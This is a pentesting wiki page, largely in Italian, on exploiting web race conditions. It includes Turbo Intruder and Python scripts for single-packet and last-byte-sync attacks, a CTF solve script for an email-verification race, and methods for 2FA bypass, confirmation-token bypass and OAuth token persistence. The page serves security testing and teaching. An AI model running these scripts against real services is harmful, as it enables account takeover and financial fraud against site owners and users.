hacktricks/src/pentesting-web/race-condition.md

21 KiB
Raw Blame History

Race Condition

{{#include ../banners/hacktricks-training.md}}

Warning

Per ottenere una comprensione approfondita di questa tecnica, consulta il report originale in https://portswigger.net/research/smashing-the-state-machine

Miglioramento degli attacchi Race Condition

Il principale ostacolo nello sfruttare le race condition è assicurarsi che più richieste vengano gestite contemporaneamente, con una differenza di tempo di elaborazione molto ridotta — idealmente, inferiore a 1ms.

Qui trovi alcune tecniche per sincronizzare le richieste:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del network jitter. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition consistente.
  • HTTP/1.1 'Last-Byte Sync': Permette di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento che viene poi inviato insieme, ottenendo l'arrivo simultaneo al server.

Preparazione per Last-Byte Sync comprende:

  1. Inviare header e body meno l'ultimo byte senza chiudere lo stream.
  2. Mettere in pausa per 100ms dopo l'invio iniziale.
  3. Disabilitare TCP_NODELAY per utilizzare Nagle's algorithm e batchare i frame finali.
  4. Eseguire ping per scaldare la connessione.

L'invio successivo dei frame trattenuti dovrebbe risultare nel loro arrivo in un singolo pacchetto, verificabile con Wireshark. Questo metodo non si applica ai file statici, che tipicamente non sono coinvolti negli attacchi RC.

Adattarsi all'architettura del server

Capire l'architettura del target è cruciale. I front-end server potrebbero instradare le richieste in modo diverso, influenzando i tempi. Riscaldare preventivamente le connessioni lato server, tramite richieste inconsequenziali, può normalizzare i tempi delle richieste.

Gestire il locking basato sulla sessione

Framework come il session handler di PHP serializzano le richieste per sessione, oscurando potenzialmente le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema.

Superare limiti di rate o di risorse

Se il warming della connessione non funziona, indurre intenzionalmente ritardi sui web server attraverso un flood di richieste dummy può facilitare il single-packet attack creando un ritardo lato server favorevole alle race condition.

Esempi di attacco

  • Tubo Intruder - HTTP2 single-packet attack (1 endpoint): Puoi inviare la richiesta a Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), puoi cambiare nella request il valore che vuoi brute-forceare per %s come in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s e poi selezionare lo examples/race-single-packer-attack.py dal menu a tendina:

Se hai intenzione di inviare valori diversi, puoi modificare il codice con questo che usa una wordlist dalla clipboard:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

Warning

Se il web non supporta HTTP2 (solo HTTP1.1) usa Engine.THREADED o Engine.BURP invece di Engine.BURP2.

  • Tubo Intruder - HTTP2 single-packet attack (Several endpoints): Nel caso tu debba inviare una richiesta a un endpoint e poi più richieste ad altri endpoint per innescare la RCE, puoi modificare lo script race-single-packet-attack.py con qualcosa del genere:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • È anche disponibile in Repeater tramite la nuova opzione 'Send group in parallel' in Burp Suite.
  • Per limit-overrun puoi semplicemente aggiungere the same request 50 times nel gruppo.
  • Per connection warming, potresti add all'beginning del group alcune requests verso qualche parte non statica del web server.
  • Per delaying il processo between l'elaborazione di one request and another in una procedura a 2 substates, potresti add extra requests between le due requests.
  • Per una multi-endpoint RC potresti iniziare a inviare la request che goes to the hidden state e poi 50 requests subito dopo che exploits the hidden state.
  • Automated python script: Lo scopo di questo script è cambiare l'email di un utente mentre la verifica continuamente fino a quando il verification token della nuova email non arriva alla vecchia email (questo perché nel codice si osservava una RC in cui era possibile modificare un'email ma far inviare la verification alla vecchia, perché la variabile che indica l'email era già popolata con la prima).
    Quando la parola "objetivo" viene trovata nelle email ricevute sappiamo di aver ricevuto il verification token dell'email modificata e terminiamo l'attacco.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: engine and gating notes

  • Engine selection: use Engine.BURP2 on HTTP/2 targets to trigger the singlepacket attack; fall back to Engine.THREADED or Engine.BURP for HTTP/1.1 lastbyte sync.
  • gate/openGate: queue many copies with gate='race1' (or perattempt gates), which withholds the tail of each request; openGate('race1') flushes all tails together so they arrive nearly simultaneously.
  • Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
  • Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable TCP_NODELAY to encourage batching of the final frames.

Improving Single Packet Attack

Nella ricerca originale viene spiegato che questo attacco ha un limite di 1.500 byte. Tuttavia, in this post, viene mostrato come sia possibile estendere la limitazione di 1.500 byte della single packet attack fino al limite di finestra di TCP di 65.535 B utilizzando la frammentazione a livello IP (splitting a single packet into multiple IP packets) e inviando i frammenti in ordine diverso, consentendo di evitare il riassemblaggio del pacchetto fino a quando tutti i frammenti non sono stati ricevuti dal server. Questa tecnica ha permesso al ricercatore di inviare 10.000 richieste in circa 166 ms.

Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiedono centinaia/migliaia di pacchetti che arrivino contemporaneamente, potrebbe presentare anche alcune limitazioni software. Alcuni popolari server HTTP come Apache, Nginx e Go hanno un'impostazione SETTINGS_MAX_CONCURRENT_STREAMS rigida rispettivamente a 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 la hanno illimitata.
Questo sostanzialmente significa che Apache considererà soltanto 100 connessioni HTTP da una singola connessione TCP (limitando questo RC attack).

You can find some examples using this tehcnique in the repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Prima della ricerca precedente, questi erano alcuni payload usati che semplicemente cercavano di inviare i pacchetti il più velocemente possibile per causare una RC.

  • Repeater: Check the examples from the previous section.
  • Intruder: Invia la request a Intruder, imposta il number of threads a 30 dentro il Options menu, seleziona come payload Null payloads e genera 30.
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

Questo è il tipo più basilare di race condition in cui vulnerabilities appaiono in punti che limitano il numero di volte in cui puoi eseguire un'azione. Come usare lo stesso codice sconto più volte in un negozio online. Un esempio molto semplice si trova in this report o in this bug.

There are many variations of this kind of attack, including:

  • Riscattare una gift card più volte
  • Valutare un prodotto più volte
  • Prelevare o trasferire denaro oltre il saldo del tuo account
  • Riutilizzare la stessa soluzione CAPTCHA
  • Bypassare un anti-brute-force rate limit

Hidden substates

Sfruttare race condition complesse spesso comporta approfittare di brevi opportunità per interagire con sottostati nascosti o unintended machine substates. Ecco come procedere:

  1. Identify Potential Hidden Substates
  • Inizia individuando gli endpoints che modificano o interagiscono con dati critici, come user profiles o password reset processes. Concentrati su:
  • Storage: Preferisci gli endpoints che manipolano server-side persistent data rispetto a quelli che gestiscono dati client-side.
  • Action: Cerca operazioni che alterano dati esistenti, che sono più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.
  • Keying: Gli attacchi di successo di solito coinvolgono operazioni keyed sullo stesso identifier, es. username o reset token.
  1. Conduct Initial Probing
  • Testa gli endpoints identificati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerability.
  1. Demonstrate the Vulnerability
  • Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerability, spesso solo due. Questo passaggio può richiedere tentativi multipli o automazione a causa della precisa temporizzazione richiesta.

Time Sensitive Attacks

La precisione nella temporizzazione delle richieste può rivelare vulnerabilità, specialmente quando si usano metodi prevedibili come timestamps per security tokens. Per esempio, generare password reset tokens basati su timestamps potrebbe permettere token identici per richieste simultanee.

To Exploit:

  • Usa una temporizzazione precisa, come un single packet attack, per effettuare concurrent password reset requests. Token identici indicano una vulnerability.

Example:

  • Richiedi due password reset tokens nello stesso momento e confrontali. Token corrispondenti suggeriscono una falla nella generazione dei token.

Check this PortSwigger Lab to try this.

Hidden substates case studies

Pay & add an Item

Check this PortSwigger Lab to see how to pay in a store and add an extra item you that won't need to pay for it.

Confirm other emails

L'idea è di verify an email address and change it to a different one at the same time per scoprire se la piattaforma verifica la nuova email cambiata.

Secondo this research Gitlab era vulnerabile a un takeover in questo modo perché potrebbe send the email verification token of one email to the other email.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

Se 2 different writes sono usate per add information dentro un database, esiste una piccola porzione di tempo in cui solo il primo dato è stato scritto nel database. Per esempio, quando si crea un utente lo username e la password potrebbero essere written e poi il token per confermare il nuovo account viene scritto. Questo significa che per un breve periodo il token to confirm an account is null.

Pertanto registering an account and sending several requests with an empty token (token= or token[]= or any other variation) per confermare immediatamente l'account potrebbe permettere di confermare un account dove non controlli l'email.

Check this PortSwigger Lab to try this.

Bypass 2FA

The following pseudo-code is vulnerable to race condition because in a very small time the 2FA is not enforced while the session is created:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 persistena eterna

There are several OAUth providers. Questi servizi ti permettono di creare un'applicazione e autenticare gli utenti che il provider ha registrato. Per farlo, il client dovrà permettere alla tua applicazione di accedere ad alcuni dei loro dati all'interno del OAUth provider.
Quindi, fino a qui è solo un login comune con google/linkedin/github... dove ti viene mostrata una pagina che dice: "Application <InsertCoolName> wants to access you information, do you want to allow it?"

Race Condition in authorization_code

Il problema si presenta quando accetti e viene automaticamente inviato un authorization_code all'applicazione malevola. Poi, questa applicazione sfrutta una Race Condition nel servizio OAUth per generare più di un AT/RT (Authentication Token/Refresh Token) dallo authorization_code per il tuo account. Fondamentalmente, abuserà del fatto che hai accettato che l'applicazione acceda ai tuoi dati per creare diversi account. Quindi, se smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà cancellata, ma le altre rimarranno comunque valide.

Race Condition in Refresh Token

Una volta ottenuto un RT valido potresti provare ad abusarne per generare diversi AT/RT e anche se l'utente revoca i permessi per l'applicazione malevola di accedere ai suoi dati, diversi RT rimarranno comunque validi.

RC in WebSockets

  • In WS_RaceCondition_PoC puoi trovare una PoC in Java per inviare messaggi websocket in parallelo e sfruttare Race Conditions anche in Web Sockets.
  • Con WebSocket Turbo Intruder di Burp puoi usare il motore THREADED per avviare più connessioni WS e inviare payload in parallelo. Parti dall'esempio ufficiale e regola config() (thread count) per la concorrenza; questo è spesso più affidabile rispetto al batching su una singola connessione quando si gareggia con lo stato lato server attraverso gli handler WS. Vedi RaceConditionExample.py.

References

{{#include ../banners/hacktricks-training.md}}